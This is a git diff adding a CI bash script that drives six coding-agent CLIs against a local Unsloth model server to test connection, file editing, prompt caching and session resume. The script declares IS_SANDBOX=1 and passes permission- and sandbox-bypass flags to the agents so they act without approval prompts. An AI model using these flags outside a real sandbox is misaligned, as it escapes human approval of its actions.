diff --git a/.git-blame-ignore-revs b/.git-blame-ignore-revs deleted file mode 100644 index 17d96cd0f5..0000000000 --- a/.git-blame-ignore-revs +++ /dev/null @@ -1,8 +0,0 @@ -# Commits listed here are skipped by `git blame` so that bulk, whitespace-only -# changes don't obscure the real authorship of a line. -# -# GitHub honors this file automatically. To use it locally, run once: -# git config blame.ignoreRevsFile .git-blame-ignore-revs - -# chore(studio/frontend): normalize line endings to LF -c50b8ab910f5aa56dd7ae0022d2c7b96bfe3384a diff --git a/.gitattributes b/.gitattributes index 5f04b5e9d1..0025f2a697 100644 --- a/.gitattributes +++ b/.gitattributes @@ -6,7 +6,7 @@ # them when run in WSL/Linux (e.g. `set -e` -> "set: Illegal option -"). *.sh text eol=lf -# Normalize Studio frontend sources to LF. Scoped to the frontend tree (rather +# Normalize Unsloth frontend sources to LF. Scoped to the frontend tree (rather # than repo-wide *.ts/*.tsx/... rules) so the policy can't force LF on files # elsewhere. text=auto lets Git detect and leave binary assets (logos, fonts) # untouched while text files (.ts/.tsx/.json/.html/.svg/...) are stored as LF. diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh new file mode 100755 index 0000000000..b63ac94b93 --- /dev/null +++ b/.github/scripts/agent-guides-drive.sh @@ -0,0 +1,699 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Drive one coding agent against the running `unsloth run` server for the +# Local Agent Guides CI. All failures from here are failure class (c) +# "guide drift": the server preflight already passed and the agent CLI +# already installed, so a failure here means the documented recipe in +# unsloth_cli/commands/start.py no longer produces a working flow. +# +# Self-updating: for all six agents (claude, codex, hermes, openclaw, +# opencode, pi) we obtain the exact env + command from +# `unsloth start --no-launch` and run THAT, so a recipe change is +# exercised automatically. +# +# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt +# can never hang the runner -- a timeout is reported as guide drift with a +# distinct message. +# +# Usage: +# agent-guides-drive.sh connection +# agent-guides-drive.sh file-edit +# agent-guides-drive.sh attribution-ab claude +# +# Required env (exported by serve-unsloth-run.sh): +# UNSLOTH_BASE_URL UNSLOTH_API_KEY UNSLOTH_MODEL_ID +# UNSLOTH_LLAMA_LOG_DIR AGENT_INVOKE_TIMEOUT UNSLOTH_SEED +set -uo pipefail + +MODE="${1:?usage: agent-guides-drive.sh }" +AGENT="${2:?usage: agent-guides-drive.sh }" + +: "${UNSLOTH_BASE_URL:?serve step did not export UNSLOTH_BASE_URL}" +: "${UNSLOTH_API_KEY:?serve step did not export UNSLOTH_API_KEY}" +: "${UNSLOTH_MODEL_ID:?serve step did not export UNSLOTH_MODEL_ID}" +# Determinism (seed/temp) is applied at the server level by +# serve-unsloth-run.sh --extra; agents inherit it through the API. +TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}" +# opencode is the slow outlier. Unlike the print-mode agents (claude -p, codex +# exec) it runs a full turn AND a separate small_model call to name the session, +# so one connection reply takes ~8 min on a CPU-served 4B -- right at the shared +# 600s cap, so the cell flaked when a run drifted past a ~480s success. Give it +# headroom (still well under the 40-min job budget); the fast agents keep the +# tight cap that still catches a real headless-TTY hang. +case "$AGENT" in + opencode) + # Double it, but only for a bare-integer seconds value. A GNU timeout(1) + # duration suffix (s/m/h/d, including floats like 0.5s) is left unchanged so + # the arithmetic never sees a non-number; timeout(1) parses it directly. + case "$TIMEOUT" in + *[!0-9]*) ;; + *) TIMEOUT=$(( TIMEOUT * 2 )) ;; + esac + ;; +esac + +# Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner +# IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless +# to the other agents, which ignore it. +export IS_SANDBOX=1 + +# Absolute paths anchored at the repo root (this script lives in +# .github/scripts/). Everything writes here regardless of the current working +# directory, so the file-edit mode can `cd` into a scratch work dir without +# breaking log/redaction writes. +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +LOGS_DIR="$REPO_ROOT/logs" +REDACTED_DIR="$REPO_ROOT/redacted-configs" +WORKDIR_BASE="$REPO_ROOT/agent-workdir" +CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh" +mkdir -p "$LOGS_DIR" "$REDACTED_DIR" +CONNECT_REF="unsloth_cli/commands/start.py" + +# Prefill-shrinking flags for Claude Code. The heavyweight agents send +# multi-thousand-token system prompts + full tool schemas, which on a CPU-only +# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model). +# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file) +# and restricting tools cuts the prefill to a few hundred tokens so it completes +# quickly on CPU. These only shape the request size; the start.py recipe +# (endpoint, auth, model) is still exercised end to end. +# +# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured +# via `claude -p /context`, the default prompt is ~28k tokens of which ~18k is +# "System tools" alone. --allowedTools/--disallowedTools only gate PERMISSION to +# call a tool; they do NOT remove its schema from what is sent to the model, so +# the earlier whitelist left the full ~18k in the prompt and CPU prefill +# (~16 tok/s) overran claude's own request timeout into a retry loop. --tools is +# the flag that restricts which schemas are sent. (The ~8k "Memory files" chunk +# is auto-loaded CLAUDE.md; the unsloth repo ships none, so it is 0 in CI.) +# +# Connection probe: --tools "" sends ZERO tool schemas, leaving ~20 tokens total +# (a one-line --system-prompt-file + the user turn), which prefills instantly. +CLAUDE_CONNECT_FLAGS=( + --system-prompt-file "$SCRIPT_DIR/ci-connect-prompt.txt" + --tools "" +) +# File-edit: the task needs the file/shell tools, so send only those schemas +# (~2.3k tokens vs ~18k for the full set). +CLAUDE_EDIT_FLAGS=( + --system-prompt-file "$SCRIPT_DIR/ci-min-system-prompt.txt" + --tools "Bash,Edit,Write,Read" +) + +guide_fail() { + echo "::error::[guide drift] agent=${AGENT}: $* (preflight passed + install OK, so the documented flow in ${CONNECT_REF} drifted)." >&2 + exit 1 +} + +# Redact the API key from any file we are about to keep as an artifact. +# Portable across GNU sed (Linux runners) and BSD sed (macOS), so the +# redaction is never silently skipped. +redact() { + local f + for f in "$@"; do + [ -f "$f" ] || continue + if sed --version >/dev/null 2>&1; then + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + else + sed -i '' "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + fi + done +} + +# Print a file to the log with the key scrubbed, without mutating it (the raw file is +# still needed to parse the real env). Use this instead of `cat` for any transcript that +# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs. +cat_redacted() { + sed "s#${UNSLOTH_API_KEY}##g" "$1" +} + +# A reply must be non-empty and free of connection/auth errors. +assert_reply() { + local out="$1" + if [ ! -s "$out" ]; then + guide_fail "agent produced an EMPTY reply" + fi + if grep -qiE 'connection refused|connection error|econnrefused|fetch failed|http 4[0-9][0-9]|unauthorized|invalid api key|authentication failed' "$out"; then + guide_fail "agent reply contained a connection/auth error: $(grep -iE 'connection|unauthorized|auth|http 4' "$out" | head -1)" + fi + echo "[$AGENT] reply (first 20 lines):" + head -20 "$out" +} + +# Run a command under a hard timeout; map 124 to a guide-drift hang message. +run_timed() { # $1=outfile, rest=command + local out="$1"; shift + timeout "$TIMEOUT" "$@" > "$out" 2>&1 + local rc=$? + if [ "$rc" -eq 124 ]; then + redact "$out" # guide_fail exits below, so scrub the transcript here too + echo "[$AGENT] last 40 lines before timeout:"; tail -40 "$out" 2>/dev/null || true + guide_fail "invoke timed out after ${TIMEOUT}s (headless-TTY hang -- the recipe likely needs a non-interactive/print flag)" + fi + return "$rc" +} + +# Read a value from an `export VAR=...` line in the connect --no-launch output. +# `unsloth start` writes each agent's session config off the user's ~ and points +# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG / +# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here. +raw_env() { # $1 = var name -> value (one shlex-quote layer stripped) + local raw="$LOGS_DIR/connect-${AGENT}.txt" + local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)" + v="${v#\'}"; v="${v%\'}"; printf '%s' "$v" +} + +# ── 5-agent start.py path: parse env + command from --no-launch ───────── +# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the +# launch command on the last printed line), and runs start.py's config +# writers as a side effect (it writes each agent's relocated session config). +parse_connect() { + local raw="$LOGS_DIR/connect-${AGENT}.txt" + # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their + # config (which now prompts by default), so the file-edit test opts into auto-approval + # here, the same intent as claude/codex's per-call bypass flags. + local yolo=() + [ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo) + if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then + cat_redacted "$raw" + guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero" + fi + echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw" + CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)" + # The launch command is the last non-export, non-status line. start.py + # prints "Unsloth · model " and "Updated ..." status lines first. + CONNECT_CMD="$(grep -vE '^(export |unset |Unsloth |Updated |Disabled |Warning|Loading)' "$raw" \ + | grep -E '[^[:space:]]' | tail -1)" + [ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output" + redact "$raw" +} + +# Cross-check the documented contract knobs so silent start.py changes +# (env-var rename, wire_api flip, attribution setting drop) also fail/flag. +crosscheck_contract() { + local raw="$LOGS_DIR/connect-${AGENT}.txt" + local cfg home + case "$AGENT" in + codex) + grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \ + || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)" + home="$(raw_env CODEX_HOME)" + # An empty relocation var would make cfg "/config.toml" and silently + # skip the [ -f ] contract check below; fail loudly instead. + [ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())" + cfg="$home/config.toml" + if [ -f "$cfg" ]; then + grep -q 'wire_api = "responses"' "$cfg" \ + || guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml" + cp "$cfg" "$REDACTED_DIR/codex-config.toml" + fi + grep -q 'codex --oss --profile unsloth_api' "$raw" \ + || echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'" + ;; + claude) + grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \ + || guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())" + grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \ + || echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())" + ;; + hermes) + grep -q 'UNSLOTH_API_KEY' "$raw" \ + || guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)" + home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())" + cfg="$home/config.yaml" + [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml" + ;; + openclaw) + cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + if [ -n "$cfg" ] && [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ + || echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)" + cp "$cfg" "$REDACTED_DIR/openclaw.json" + fi + ;; + opencode) + cfg="$(raw_env OPENCODE_CONFIG)" + [ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json" + ;; + pi) + # Pi has no config-dir env var; the session is HOME-relocated, and the + # provider config lives at $HOME/.pi/agent/models.json. + cfg="$(raw_env HOME)/.pi/agent/models.json" + if [ -f "$cfg" ]; then + grep -q '"openai-completions"' "$cfg" \ + || echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)" + cp "$cfg" "$REDACTED_DIR/pi-models.json" + fi + ;; + esac + redact "$REDACTED_DIR"/* 2>/dev/null || true +} + +# Heavyweight agents (hermes, openclaw) bake a large system prompt + tool JSON +# schemas into every request, which a CPU runner cannot prefill before the invoke +# timeout. As with claude's --tools, we shrink the request from the agent's own +# config: zero tools for the connection probe collapses the prompt to a few +# hundred tokens, since both CLIs gate the bulk of their prompt on having tools. + +# Hermes: an explicit empty cli toolset disables all tools (and drops the +# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands. +# Hermes enables its default cli toolset when the session config does not pin one, +# so we must set platform_toolsets.cli explicitly to [] (not just append) to get +# zero tools. That needs a YAML parser, and the runner's bare python3 has no +# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run +# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml +# that `unsloth start` printed, not the user's ~/.hermes. +# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.) +patch_hermes_tools() { # $1 = none|default + # Check the raw var BEFORE appending /config.yaml: the joined path is never + # empty, so the old guard could not fire and the patcher would die on + # "/config.yaml" with a bare traceback instead of this clear failure. + local home; home="$(raw_env HERMES_HOME)" + [ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())" + local cfg; cfg="$home/config.yaml" + # Find a python that can import yaml. The runner's bare python3 cannot, but the + # interpreter in the `unsloth` console-script shebang provably can (it runs + # start.py's write_hermes_config, which imports yaml). Try that first, then + # any python on PATH, then the venv sibling, picking the first with PyYAML. + local cand py="" shebang + shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')" + for cand in "$shebang" python3 python "$(dirname "$(command -v unsloth)")/python"; do + [ -n "$cand" ] || continue + { [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue + if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi + done + [ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config" + echo "[hermes] patching $cfg with $py" + "$py" - "$1" "$cfg" <<'PY' +import os, sys +import yaml +mode = sys.argv[1] +p = sys.argv[2] +cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {} +ts = cfg.get("platform_toolsets") +if not isinstance(ts, dict): + ts = cfg["platform_toolsets"] = {} +if mode == "none": + ts["cli"] = [] # explicit empty list -> zero tools (not "defaults") +else: + ts.pop("cli", None) # file-edit needs real tools -> restore defaults +with open(p, "w") as fh: + yaml.safe_dump(cfg, fh, sort_keys=False) +print(f"[hermes] platform_toolsets.cli = {ts.get('cli', 'default')}") +PY +} + +# OpenClaw: 'openclaw agent' has no tool/prompt flags, so we define a 'ci' agent +# in openclaw.json. tools.deny ["*"] sends zero tool schemas (deny always wins) +# for the connection probe; contextInjection "never" + defaults.skipBootstrap +# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for +# both modes. --agent must reference a defined agent, so write it before invoking. +patch_openclaw_agent() { # $1 = notools|tools + # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that + # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw). + local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())" + python3 - "$1" "$cfg" <<'PY' +import os, sys, json +mode = sys.argv[1] +p = sys.argv[2] +cfg = json.load(open(p)) if os.path.exists(p) else {} +agents = cfg.setdefault("agents", {}) +agents.setdefault("defaults", {})["skipBootstrap"] = True +lst = [a for a in agents.get("list", []) if a.get("id") != "ci"] +agent = {"id": "ci", "contextInjection": "never"} +if mode == "notools": + agent["tools"] = {"deny": ["*"]} +lst.append(agent) +agents["list"] = lst +with open(p, "w") as fh: + json.dump(cfg, fh, indent=2) +print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}") +PY +} + +# Build an invoke script that applies start.py's env then runs the launch +# command (with extra args appended) under bash. We do NOT eval connect's env +# into this shell; we write it into a one-shot script so the export/unset +# semantics are exactly what start.py printed. The script path is absolute +# so it is valid even when the caller has cd'd into a scratch work dir. +invoke_via_connect() { # $1=outfile, rest=extra args appended to the command + local out="$1"; shift + local script="$LOGS_DIR/invoke-${AGENT}.sh" + local real; real="$(mktemp)" + # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a + # session knob without editing the user's config; empty -> use what start.py emitted. + local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}" + { + echo "set -uo pipefail" + echo "$CONNECT_ENV" + [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA" + # Append extra args (the prompt / flags) to the launch command verbatim. + printf '%s' "$cmd" + local a + for a in "$@"; do printf ' %q' "$a"; done + printf '\n' + } > "$real" + # Upload a REDACTED copy of the script, but EXECUTE the un-redacted one from a + # temp path outside the artifact dir. Redacting the script we run would turn + # the real `export TOKEN=sk-...` line into `export TOKEN=`, which is + # invalid bash (the `<`/`>` are redirections) and silently breaks every agent. + # Writing the redacted copy up front keeps the key out of the artifact even if + # the run times out (run_timed exits before returning here). + cp "$real" "$script"; redact "$script" + # The connect one-liner now carries the key as an inline env assignment; scrub it on + # the way to the log (the executed $real keeps the live value). + echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/} $*" + run_timed "$out" bash "$real" + local rc=$? + rm -f "$real" + redact "$out" # the transcript can echo the token; scrub before upload + return "$rc" +} + +# ═════════════════════════════════════════════════════════════════════════ +case "$MODE" in + # ── connection: trivial prompt, assert a non-empty, error-free reply ──── + connection) + PROMPT='Reply with exactly the single word: pong' + OUT="$LOGS_DIR/${AGENT}-connection.txt" + parse_connect + crosscheck_contract + # claude/codex run in print mode via the flags start.py emits + # (claude -p / codex exec). For agents whose default subcommand prints + # to stdout we pass the prompt through ctx.args. + case "$AGENT" in + claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; + codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; + opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; + pi) invoke_via_connect "$OUT" -p "$PROMPT" ;; + hermes) patch_hermes_tools none + invoke_via_connect "$OUT" -z "$PROMPT" ;; + openclaw) patch_openclaw_agent notools + CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \ + --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; + *) invoke_via_connect "$OUT" "$PROMPT" ;; + esac + # A non-zero exit from the documented launch command is drift even if it + # printed something: a benign-looking "command not found" / usage dump would + # otherwise slip past assert_reply (which only flags empty/error-keyword text). + rc=$? + [ "$rc" -eq 0 ] || guide_fail "the documented launch command exited non-zero (rc=$rc) -- see the transcript above" + assert_reply "$OUT" + echo "[$AGENT] connection OK" + ;; + + # ── file-edit: deterministic 2-turn hello.py test (Qwen3.5-2B) ────────── + file-edit) + WORK="$WORKDIR_BASE/${AGENT}" + rm -rf "$WORK"; mkdir -p "$WORK" + OUT1="$LOGS_DIR/${AGENT}-fileedit-turn1.txt" + OUT2="$LOGS_DIR/${AGENT}-fileedit-turn2.txt" + T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.' + T2='Run hello.py with python and show me the exact output.' + + # The start.py recipe writers + crosscheck must see the repo; run them + # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw + # gate tool approval through their config (prompting by default), so file-edit + # opts them into auto-approval to run edits/commands headlessly. + case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac + parse_connect + crosscheck_contract + # File-edit needs real tools, so we cannot zero them as in connection. + # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md + # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work + # dir is empty, so no project context files are auto-loaded either. + case "$AGENT" in + hermes) patch_hermes_tools default ;; + openclaw) patch_openclaw_agent tools ;; + esac + + # Drive from inside the work dir so the agent edits files there. All log + # writes use absolute $LOGS_DIR, so cwd does not matter for them. + cd "$WORK" || guide_fail "could not enter work dir $WORK" + + invoke_turn() { # $1=outfile $2=continue? $3=prompt + local out="$1" cont="$2" prompt="$3" + case "$AGENT" in + pi) + # Pi continues the previous session with -c; provider/model come from + # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" -p --continue "$prompt" + else + invoke_via_connect "$out" -p "$prompt" + fi ;; + claude) + # --dangerously-skip-permissions lets headless claude actually use the + # Write/Bash tools (otherwise it blocks on an approval prompt and emits + # nothing). IS_SANDBOX=1 (exported above) authorizes it. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p --continue "$prompt" + else + invoke_via_connect "$out" "${CLAUDE_EDIT_FLAGS[@]}" --dangerously-skip-permissions -p "$prompt" + fi ;; + codex) + # --dangerously-bypass-approvals-and-sandbox gives codex exec + # workspace-write (default is read-only -> cannot create hello.py) and + # skips the bubblewrap sandbox that the runner lacks. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox resume --last "$prompt" + else + invoke_via_connect "$out" exec --dangerously-bypass-approvals-and-sandbox "$prompt" + fi ;; + opencode) invoke_via_connect "$out" run "$prompt" ;; + hermes) invoke_via_connect "$out" -z "$prompt" ;; + openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \ + --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;; + *) invoke_via_connect "$out" "$prompt" ;; + esac + } + + # Turn 1: create hello.py. + invoke_turn "$OUT1" fresh "$T1" + # Fail on a non-zero agent exit before trusting side effects: an agent can + # error out (API/tool failure) yet leave a plausible file/transcript behind, + # which would otherwise slip past the assertions below (mirrors connection). + rc=$? + [ "$rc" -eq 0 ] || { echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true; \ + guide_fail "turn 1 (create hello.py) exited non-zero (rc=$rc)"; } + + # Hard assertions on the side effect (the real test): file + content + run. + if [ ! -f hello.py ]; then + echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true + guide_fail "turn 1 did not create hello.py" + fi + grep -q 'Hello' hello.py || guide_fail "hello.py does not contain 'Hello'" + RUN_OUT="$(python3 hello.py 2>&1 || true)" + [ "$RUN_OUT" = "Hello" ] || guide_fail "python3 hello.py printed '$RUN_OUT', expected exactly 'Hello'" + echo "[$AGENT] turn 1 OK (file created, prints 'Hello')" + + # Turn 2: same cwd + session continuation; assert the agent's run output + # contains Hello. Narration drift is WARN-only, missing output is a hard fail. + invoke_turn "$OUT2" continue "$T2" + rc=$? + [ "$rc" -eq 0 ] || { echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true; \ + guide_fail "turn 2 (run hello.py) exited non-zero (rc=$rc)"; } + if grep -q 'Hello' "$OUT2"; then + echo "[$AGENT] turn 2 OK (run output contains 'Hello')" + else + echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true + guide_fail "turn 2 run/bash output did not contain 'Hello'" + fi + cd "$REPO_ROOT" || true + echo "[$AGENT] file-edit OK" + ;; + + # ── attribution-ab: Claude Code KV-cache HIT vs MISS ──────────────────── + attribution-ab) + [ "$AGENT" = "claude" ] || guide_fail "attribution-ab only applies to claude" + # The llama-server log filename uses the INTERNAL random llama.cpp port, + # not STUDIO_PORT, so we never glob by port: assert-prompt-cache.sh picks + # the newest llama-*.log and we slice it by a byte offset (`mark`) captured + # right before the measured turn, so an earlier turn's reuse can't leak in. + LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}" + export LLAMA_LOG_DIR + parse_connect # prints session env + suppression flags (no ~/.claude write) + crosscheck_contract + PROMPT='Reply with exactly the single word: pong' + + # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 + + # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a + # HIT on the continued turn, since the system-prompt prefix is stable. + invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes + FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2 + invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again" + CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT + + # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip + # the env var to 1 and strip the suppression flags from the launch command + # (without them the dynamic attribution line is included and changes every + # turn, so the shared prefix moves and the KV cache is invalidated, ~90% + # slower). This is session-only: nothing is written to ~/.claude. + CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1' + CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \ + | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")" + invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT" + FROM_MISS="$(bash "$CACHE_HELPER" mark)" + invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again" + CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS + unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE + echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)" + ;; + + # ── resume: does a launched agent's session survive exit and resume? ──── + # Unlike the other modes, this drives the real LAUNCH path (`unsloth start + # ...`, the interactive default), not the --no-launch recipe. That + # path relocates each agent's home to a throwaway temp dir wiped on exit, so + # a session cannot be resumed -- unless --persist routes it to the stable + # Unsloth agents dir instead. We run one headless turn per pass and check + # whether the turn left a session in a persistent store (deterministic, no + # reliance on the model recalling anything), for a baseline pass and a + # --persist pass, and assert the expected split for this agent. + resume) + CODEWORD="PLATYPUS7" + T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK." + T2="What codeword did I ask you to remember? Reply with just that word." + WORK="$WORKDIR_BASE/${AGENT}-resume" + + # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to. + # Read it from a --no-launch probe (which also writes the agent's config + # there). codex/pi relocate their whole home/HOME here; opencode/claude keep + # their session data in a fixed user dir, so STABLE_HOME stays empty for them. + parse_connect + case "$AGENT" in + codex) STABLE_HOME="$(raw_env CODEX_HOME)" ;; + pi) STABLE_HOME="$(raw_env HOME)" ;; + *) STABLE_HOME="" ;; + esac + + # The persistent stores a session would land in if it were NOT wiped. We + # count files here before/after each turn; a positive delta means the + # session persisted (is resumable), zero means it went to a wiped temp dir. + resume_tracked_dirs() { + case "$AGENT" in + codex) printf '%s\n' "$HOME/.codex" ;; + opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;; + claude) printf '%s\n' "$HOME/.claude" ;; + pi) printf '%s\n' "$HOME/.pi" ;; + *) : ;; + esac + [ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME" + } + count_session_files() { + local total=0 d n + while IFS= read -r d; do + [ -n "$d" ] && [ -d "$d" ] || continue + n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n)) + done < <(resume_tracked_dirs) + echo "$total" + } + + # The headless first-turn subcommand per agent (mirrors file-edit's map), + # forwarded verbatim through the launch path as passthrough args. + set_t1_cmd() { + case "$AGENT" in + claude) T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;; + codex) T1_CMD=(exec "$T1") ;; + opencode) T1_CMD=(run "$T1") ;; + pi) T1_CMD=(-p "$T1") ;; + *) guide_fail "resume mode does not cover agent '$AGENT'" ;; + esac + } + + # Run one headless turn through the launch path. $1=outfile, $2="" or + # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool + # prompt can hang; --api-key attaches to the already-served CI model. + launch_turn() { + local out="$1" rflag="$2"; shift 2 + local flag=(); [ -n "$rflag" ] && flag=("$rflag") + run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \ + --api-key "$UNSLOTH_API_KEY" "$@" + local rc=$? + redact "$out" + return "$rc" + } + + # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED + # from the session-store delta. Runs in the main shell (not a command + # substitution) so a hang's guide_fail actually fails the job and the + # progress lines reach the CI log. $1 = "" (baseline) or "--persist". + RESULT="" + run_pass() { + local rflag="$1" label="baseline" + [ -n "$rflag" ] && label="resume" + rm -rf "$WORK"; mkdir -p "$WORK" + set_t1_cmd + local out="$LOGS_DIR/${AGENT}-resume-${label}.txt" + local before after rc + before="$(count_session_files)" + pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK" + launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$? + popd >/dev/null || true + after="$(count_session_files)" + echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})" + # The turn must succeed for the delta to mean anything: an agent that writes a + # session file then errors would otherwise be misread as PERSISTED. Mirror the + # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall + # below stays WARN-only, driven by its own launch_turn calls). + [ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \ + guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; } + if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi + } + + run_pass ""; BASELINE="$RESULT" + # Only the temp-dir agents (codex/pi) 